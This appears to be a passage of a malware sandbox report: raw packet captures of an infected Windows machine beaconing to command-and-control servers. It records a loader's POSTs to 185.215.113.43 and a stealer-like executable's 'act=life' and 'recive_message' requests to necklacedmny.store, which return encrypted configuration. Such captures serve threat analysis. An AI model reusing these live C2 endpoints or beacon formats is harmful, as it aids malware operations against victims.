Oct 31, 2024 20:55:34.500735998 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:55:35.438492060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	50202	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:37.079389095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:55:38.004241943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	50203	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:39.534591913 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:55:40.475215912 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 32 39 38 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 65 36 38 32 32 34 32 37 62 61 62 31 64 61 39 38 61 38 38 65 38 65 34 65 32 66 62 63 30 37 30 39 64 34 33 34 39 61 63 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1002981001+++b5937c1a99d5f9dd0246b5cb4e6822427bab1da98a88e8e4e2fbc0709d4349ac1de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	50205	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:49.862658024 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 39 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002981001&unit=246122658369
Oct 31, 2024 20:55:50.817192078 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	50208	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:52.499433041 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:55:53.444523096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	50211	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:54.991815090 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:55:55.952550888 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	50213	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:57.601469994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:55:59.119111061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 31, 2024 20:55:59.120903969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 31, 2024 20:55:59.122045040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	50215	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:56:00.646621943 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:56:01.573610067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:56:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	188.114.97.3	443	5960	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:14 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 19:52:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 19:52:15 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jnr7lgdm6qb4cfto96n8rcrgqd; expires=Mon, 24-Feb-2025 13:38:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BLvBN0SbpA%2BTD42ub5rTY%2BeND0IF5yXu07N8eFALKtkCXc2az8UyBr5qWe3cKzJDIyZTBa1HpfgMloFw6U9OWCDysAKaCsNS2e7vhIGwtJZa3cv%2FSwAgY3pXiIBAKiuQoHrWeH4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f334f18e7eb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1103&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=2625566&cwnd=251&unsent_bytes=0&cid=43144b77874efce1&ts=722&x=0"
2024-10-31 19:52:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 19:52:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	188.114.97.3	443	5960	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 19:52:15 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 19:52:16 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7l075hrhulr9g1129ib0e8mhaa; expires=Mon, 24-Feb-2025 13:38:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PKB7dpqNIsoufnQ8u7%2Fx8Oickr%2BgwAg05X%2F5VBM6wT5eQeWnH6oF5q7I%2BC5CbBbofAJlxtrbhG%2Fh5N2%2FRF0UM9fACWzevpmiH5hyZGWMB%2BxV6tA7tRj24gxKc6HEKhhNFMc1jZw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f3aca02a912-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1228&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2344939&cwnd=159&unsent_bytes=0&cid=6503fa31bd939d27&ts=533&x=0"
2024-10-31 19:52:16 UTC	348	IN	Data Raw: 34 64 65 0d 0a 64 70 52 70 6c 4f 54 6f 75 50 30 44 6d 6d 6b 64 74 2b 5a 44 37 41 52 5a 7a 62 55 4d 6c 53 43 37 32 78 2f 4d 56 58 2f 75 78 55 45 4e 74 68 2b 32 33 74 79 55 33 33 44 2f 53 79 66 44 6c 44 61 4a 4b 48 75 73 30 53 36 76 52 74 71 33 62 4b 6c 35 58 5a 69 6f 59 30 7a 79 43 50 69 58 6a 5a 54 66 5a 75 4a 4c 4a 2b 79 64 59 59 6c 71 65 2f 65 58 61 66 39 43 32 72 64 39 72 54 34 51 6e 71 6b 69 48 76 67 4f 2f 49 47 4c 33 4a 78 76 39 77 78 34 30 6f 63 70 67 6d 30 30 70 64 67 75 75 51 4c 65 6f 54 33 32 64 7a 4b 4c 73 53 41 37 39 52 72 2f 78 70 57 55 68 69 48 2f 42 7a 2b 4e 78 43 4b 4a 5a 6a 57 72 30 57 66 39 53 4e 4f 2f 66 4b 67 2f 44 34 65 6a 4b 52 37 32 44 66 32 4c 67 73 69 52 5a 66 41 48 66 74 69 48 59 63 41 6d 50 4c 65 58 4e 72 63 52 36 37 70 73 76 79 Data Ascii: 4dedpRplOTouP0Dmmkdt+ZD7ARZzbUMlSC72x/MVX/uxUENth+23tyU33D/SyfDlDaJKHus0S6vRtq3bKl5XZioY0zyCPiXjZTfZuJLJ+ydYYlqe/eXaf9C2rd9rT4QnqkiHvgO/IGL3Jxv9wx40ocpgm00pdguuQLeoT32dzKLsSA79Rr/xpWUhiH/Bz+NxCKJZjWr0Wf9SNO/fKg/D4ejKR72Df2LgsiRZfAHftiHYcAmPLeXNrcR67psvy
2024-10-31 19:52:16 UTC	905	IN	Data Raw: 32 44 66 69 48 68 39 71 4e 61 66 4d 41 65 73 65 50 4b 49 4e 72 4f 36 4c 64 59 66 52 43 33 72 4e 33 6f 54 30 5a 67 61 6f 6c 46 50 5a 4c 75 4d 61 4e 77 74 38 35 75 43 68 36 78 59 4d 74 6d 43 51 42 37 38 67 67 37 67 4c 65 74 54 33 32 64 78 57 4a 70 43 41 66 2b 51 6a 2b 6a 5a 6a 61 6a 57 66 31 44 6d 33 54 67 53 2b 45 5a 53 6d 6c 32 57 6a 30 53 39 4b 77 65 4b 6b 7a 58 63 4c 6e 4a 41 79 32 55 37 61 6e 68 39 47 54 61 2b 38 4c 50 38 72 4b 4f 4d 35 68 4e 2b 2b 50 4c 76 4e 44 33 62 68 35 6f 44 6b 5a 67 4b 45 74 47 66 6b 4e 2f 49 61 4e 30 4a 64 70 2b 51 5a 30 32 6f 51 6b 67 32 49 39 6f 39 5a 72 74 77 79 5a 76 6d 58 75 62 31 32 69 6f 43 41 47 74 44 37 31 69 49 54 64 69 53 48 6e 52 57 61 56 67 79 33 4f 50 6e 75 68 30 6d 48 6c 51 38 75 38 63 37 77 37 47 49 71 71 49 42 Data Ascii: 2DfiHh9qNafMAesePKINrO6LdYfRC3rN3oT0ZgaolFPZLuMaNwt85uCh6xYMtmCQB78gg7gLetT32dxWJpCAf+Qj+jZjajWf1Dm3TgS+EZSml2Wj0S9KweKkzXcLnJAy2U7anh9GTa+8LP8rKOM5hN++PLvND3bh5oDkZgKEtGfkN/IaN0Jdp+QZ02oQkg2I9o9ZrtwyZvmXub12ioCAGtD71iITdiSHnRWaVgy3OPnuh0mHlQ8u8c7w7GIqqIB
2024-10-31 19:52:16 UTC	1369	IN	Data Raw: 33 66 38 65 0d 0a 57 57 61 50 45 5a 64 64 6d 4b 4d 34 4e 73 50 71 48 62 61 2f 68 43 32 4c 68 7a 70 44 78 64 77 75 63 6b 44 4c 5a 54 74 71 6d 48 79 6f 31 72 38 78 6f 39 34 49 63 76 67 47 45 74 37 38 67 67 37 67 4c 65 74 54 33 32 64 78 61 4b 71 79 38 55 38 42 6e 34 69 5a 6a 51 6a 57 58 32 44 33 50 62 6a 53 79 42 59 79 6d 72 31 33 7a 32 52 39 36 33 63 4c 77 79 58 63 4c 6e 4a 41 79 32 55 37 61 38 76 74 32 50 63 50 39 4a 53 74 61 4b 4c 34 6c 77 65 37 43 5a 64 37 64 46 31 66 6b 6c 37 6a 51 52 67 61 34 6d 47 2b 51 42 2b 6f 65 59 33 5a 5a 6f 38 67 70 78 32 6f 38 74 69 33 51 77 6f 4e 39 68 39 6b 2f 55 73 6e 6d 75 64 31 50 4d 6f 44 74 55 72 6b 76 58 69 34 58 49 6e 48 43 36 50 6e 7a 62 69 69 61 59 4a 69 54 68 7a 69 37 77 54 70 6e 68 50 61 38 37 45 59 32 6f 4a 52 37 Data Ascii: 3f8eWWaPEZddmKM4NsPqHba/hC2LhzpDxdwuckDLZTtqmHyo1r8xo94IcvgGEt78gg7gLetT32dxaKqy8U8Bn4iZjQjWX2D3PbjSyBYymr13z2R963cLwyXcLnJAy2U7a8vt2PcP9JStaKL4lwe7CZd7dF1fkl7jQRga4mG+QB+oeY3ZZo8gpx2o8ti3QwoN9h9k/Usnmud1PMoDtUrkvXi4XInHC6PnzbiiaYJiThzi7wTpnhPa87EY2oJR7
2024-10-31 19:52:16 UTC	1369	IN	Data Raw: 59 37 65 6e 32 7a 7a 42 58 48 63 69 43 6d 43 59 53 6d 69 30 6d 62 39 53 39 79 31 63 4b 30 6c 48 6f 33 6e 62 56 54 78 45 37 62 65 79 76 32 73 56 74 74 4c 59 4a 75 64 59 59 6c 71 65 2f 65 58 62 2f 39 46 31 37 31 76 6f 43 55 54 69 36 63 6c 48 50 34 4d 2b 6f 69 45 79 4a 64 67 2b 41 56 77 33 59 30 6c 6a 32 49 2f 6f 39 41 75 75 51 4c 65 6f 54 33 32 64 7a 57 50 76 54 6c 57 32 41 44 32 67 5a 72 4d 68 43 48 6e 52 57 61 56 67 79 33 4f 50 6e 75 72 33 47 54 2b 51 64 43 39 63 4b 34 2b 45 6f 57 76 4c 68 7a 6b 43 76 79 55 6a 74 2b 65 62 76 49 50 64 39 6d 4c 4c 59 70 30 4d 4f 2b 5a 4c 76 42 61 6d 65 45 39 6a 6a 77 4c 72 37 55 78 56 4f 6c 46 37 38 61 4e 31 74 38 35 75 41 4a 7a 31 49 55 72 69 47 30 2b 6f 74 64 72 2f 55 58 56 75 58 32 74 4d 52 75 42 72 79 73 59 2b 67 6a 37 Data Ascii: Y7en2zzBXHciCmCYSmi0mb9S9y1cK0lHo3nbVTxE7beyv2sVttLYJudYYlqe/eXb/9F171voCUTi6clHP4M+oiEyJdg+AVw3Y0lj2I/o9AuuQLeoT32dzWPvTlW2AD2gZrMhCHnRWaVgy3OPnur3GT+QdC9cK4+EoWvLhzkCvyUjt+ebvIPd9mLLYp0MO+ZLvBameE9jjwLr7UxVOlF78aN1t85uAJz1IUriG0+otdr/UXVuX2tMRuBrysY+gj7
2024-10-31 19:52:16 UTC	1369	IN	Data Raw: 52 6e 39 67 70 35 32 59 6c 68 77 43 59 38 74 35 63 32 74 32 58 44 74 48 75 35 4a 69 69 4c 70 33 4a 55 36 55 58 76 78 6f 33 57 33 7a 6d 34 42 6e 50 66 69 53 53 4b 62 6a 79 73 31 6d 4c 7a 54 39 53 39 64 4b 6f 79 44 35 36 68 4c 52 54 35 42 66 6d 4b 6d 4e 53 61 59 66 52 4c 4d 5a 57 44 4f 63 34 2b 65 35 37 41 62 72 64 64 6c 36 41 39 71 54 74 64 31 4f 63 73 47 65 51 48 2b 59 61 4c 32 5a 74 71 2f 77 31 35 31 49 63 6b 6a 57 4d 39 72 74 64 69 2f 55 58 52 73 33 4f 6a 4d 52 6d 4b 6f 57 4e 61 74 67 7a 75 78 74 4b 61 72 57 7a 32 41 6e 7a 54 69 54 65 6d 56 33 75 77 6d 58 65 33 52 64 58 35 4a 65 34 7a 46 6f 53 72 4a 68 7a 7a 43 76 36 4d 67 74 57 51 63 2f 6b 45 64 74 4b 50 4c 49 46 6f 50 71 48 46 61 66 78 4a 30 62 42 7a 71 48 64 54 7a 4b 41 37 56 4b 35 4c 77 49 57 45 30 Data Ascii: Rn9gp52YlhwCY8t5c2t2XDtHu5JiiLp3JU6UXvxo3W3zm4BnPfiSSKbjys1mLzT9S9dKoyD56hLRT5BfmKmNSaYfRLMZWDOc4+e57Abrddl6A9qTtd1OcsGeQH+YaL2Ztq/w151IckjWM9rtdi/UXRs3OjMRmKoWNatgzuxtKarWz2AnzTiTemV3uwmXe3RdX5Je4zFoSrJhzzCv6MgtWQc/kEdtKPLIFoPqHFafxJ0bBzqHdTzKA7VK5LwIWE0
2024-10-31 19:52:16 UTC	1369	IN	Data Raw: 46 62 64 53 4c 59 63 41 6d 50 4c 65 58 4e 72 64 7a 7a 37 35 36 6f 58 55 30 69 37 77 69 48 76 55 41 2b 73 61 56 6c 49 59 68 2f 77 63 2f 6a 63 51 73 67 6d 73 2f 76 64 74 75 39 30 76 65 73 32 2b 68 4f 42 43 50 70 79 59 47 39 78 6e 35 6a 59 2f 5a 6d 32 37 33 42 33 66 66 78 47 2f 4f 59 53 50 76 6a 79 37 62 51 63 69 7a 50 34 6b 74 43 34 75 72 4d 68 2f 37 42 37 61 5a 78 4d 50 66 5a 76 52 4c 4a 35 57 45 49 49 4e 30 50 71 37 64 5a 50 70 4b 31 72 78 34 6f 54 4d 5a 68 36 6b 78 47 76 6b 4c 38 49 32 4c 33 35 78 71 38 67 56 32 78 38 52 76 7a 6d 45 6a 37 34 38 75 33 56 6e 59 74 48 48 73 47 52 61 61 6f 47 45 31 2b 41 44 78 69 70 79 61 67 43 2f 68 53 33 6a 5a 78 48 6e 4f 62 7a 57 6a 31 47 6e 2f 53 74 79 35 64 71 34 34 46 34 4b 67 4d 52 37 36 41 65 53 4a 69 64 65 62 62 50 Data Ascii: FbdSLYcAmPLeXNrdzz756oXU0i7wiHvUA+saVlIYh/wc/jcQsgms/vdtu90ves2+hOBCPpyYG9xn5jY/Zm273B3ffxG/OYSPvjy7bQcizP4ktC4urMh/7B7aZxMPfZvRLJ5WEIIN0Pq7dZPpK1rx4oTMZh6kxGvkL8I2L35xq8gV2x8RvzmEj748u3VnYtHHsGRaaoGE1+ADxipyagC/hS3jZxHnObzWj1Gn/Sty5dq44F4KgMR76AeSJidebbP
2024-10-31 19:52:16 UTC	1369	IN	Data Raw: 67 79 33 4f 50 6e 75 76 30 32 4c 30 52 64 65 32 63 4b 45 77 46 6f 4f 74 4c 51 62 35 44 76 36 4b 67 74 65 4e 61 2f 49 5a 64 74 79 4a 4c 34 5a 30 4f 4f 2b 5a 4c 76 42 61 6d 65 45 39 6e 44 30 65 67 4c 45 75 47 37 59 55 75 4a 2f 4b 33 5a 4d 68 6f 45 74 74 78 34 51 71 6a 6d 45 31 76 64 5a 6d 2b 45 6a 5a 76 33 61 6b 4e 42 53 49 71 53 6f 53 39 77 62 33 68 34 72 66 6e 32 6a 71 42 6a 2b 62 78 43 61 57 4a 6d 50 76 34 47 4c 38 63 39 71 76 50 62 46 35 42 4d 79 67 4c 31 53 75 53 2f 65 55 68 39 4b 62 59 66 55 4e 64 4e 53 46 49 6f 35 6d 4f 4b 2f 53 5a 66 68 45 33 72 52 33 70 7a 34 50 68 4b 4d 78 46 50 6f 50 74 73 6a 4b 33 59 63 68 6f 45 74 50 31 6f 38 74 6a 6d 73 75 37 38 67 67 37 67 4c 65 74 54 33 32 64 78 57 48 72 43 55 66 39 51 6a 34 6a 59 44 56 6b 47 76 2b 44 58 66 Data Ascii: gy3OPnuv02L0Rde2cKEwFoOtLQb5Dv6KgteNa/IZdtyJL4Z0OO+ZLvBameE9nD0egLEuG7YUuJ/K3ZMhoEttx4QqjmE1vdZm+EjZv3akNBSIqSoS9wb3h4rfn2jqBj+bxCaWJmPv4GL8c9qvPbF5BMygL1SuS/eUh9KbYfUNdNSFIo5mOK/SZfhE3rR3pz4PhKMxFPoPtsjK3YchoEtP1o8tjmsu78gg7gLetT32dxWHrCUf9Qj4jYDVkGv+DXf
2024-10-31 19:52:16 UTC	1369	IN	Data Raw: 57 70 35 72 74 70 2b 38 41 4b 58 2b 58 76 75 62 30 33 43 35 79 63 46 74 6c 4f 6d 31 4e 47 50 7a 44 61 6f 57 57 43 62 6e 57 47 59 4a 6d 50 39 6d 53 37 6c 41 6f 48 35 4f 71 30 6c 44 34 71 6b 4e 52 65 78 4e 63 69 6d 67 64 61 63 62 66 6b 4d 50 35 76 45 4c 73 34 2b 41 75 2f 55 66 4f 55 4e 79 4b 39 77 76 6a 42 52 68 4c 59 75 47 4c 5a 46 74 73 71 4f 30 5a 4e 6b 2f 78 73 77 78 35 51 71 67 6e 42 33 71 38 55 75 75 51 4c 49 73 6e 4b 38 4f 52 72 44 74 6a 55 5a 35 67 6a 7a 67 63 62 53 6a 6d 7a 30 53 7a 47 56 6b 53 71 43 59 44 61 36 6d 48 2f 68 51 63 2b 2b 4d 61 59 6d 45 49 44 6e 48 46 71 32 45 37 62 65 79 75 2b 63 62 2f 59 4d 61 63 54 4a 41 59 56 71 4f 4b 50 57 61 62 63 4d 6d 62 38 39 39 6d 52 54 7a 4b 4d 79 56 4b 35 62 70 4e 33 66 69 63 67 78 71 68 51 78 7a 4d 51 33 Data Ascii: Wp5rtp+8AKX+Xvub03C5ycFtlOm1NGPzDaoWWCbnWGYJmP9mS7lAoH5Oq0lD4qkNRexNcimgdacbfkMP5vELs4+Au/UfOUNyK9wvjBRhLYuGLZFtsqO0ZNk/xswx5QqgnB3q8UuuQLIsnK8ORrDtjUZ5gjzgcbSjmz0SzGVkSqCYDa6mH/hQc++MaYmEIDnHFq2E7beyu+cb/YMacTJAYVqOKPWabcMmb899mRTzKMyVK5bpN3ficgxqhQxzMQ3
